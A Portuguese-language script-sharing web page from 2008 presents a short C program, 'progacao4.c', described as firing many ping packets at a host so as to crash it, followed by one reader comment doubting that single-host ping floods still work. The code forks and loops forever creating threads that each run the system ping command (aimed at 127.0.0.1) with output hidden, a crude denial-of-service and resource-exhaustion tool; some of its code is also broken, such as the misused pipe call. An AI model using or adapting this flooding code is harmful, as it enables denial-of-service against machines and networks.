Vários pacotes de ping disparados contra o host

Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008

[ Hits: 6.427 ]

Homepage: http://prginfo.blogspot.com

Download progacao4.c




O host responderá a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.

Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término. O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.

  



Esconder código-fonte

/* progacao4.c */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>

void ping(char *host); /* para usar a função na 

thread o cabeçalho da função deve estar declarado 

*/

acao()
{
   int return_thread;
   pthread_t thread;

   while (1)
   {
      return_thread=pthread_create (&thread, NULL, 

(void *)ping,"ping -s 400 127.0.0.1");   /* criando 

a thread */
      usleep (10);   /* já explicado no exemplo 2 

*/
   }
}

main () /* o main já foi esplicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}

void ping (char *host)
{
   int desc;
   close(1);

   pipe (desc);   /* o pipe já foi esplicado no 

exemplo 1 */
   system (host);  /* executa um comando do sistema 

(ping, ls, rm, mv etc.) */
}

Scripts recomendados

Divisores de um inteiro positivo em C++

CalDOS - 60 funções em uma calculadora

Diz se é número primo ou não

Converçor de Decimal para Binario

Locadora


  

Comentários
[1] Comentário enviado por bolche em 14/07/2008 - 12:19h

Hoje em dia poucos sistemas travam por ser entupidos de pings, a menos que sejam um monte de computadores contra o mesmo host.
Geralmente a conexão não é rápida o suficiente para acabar com ele.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts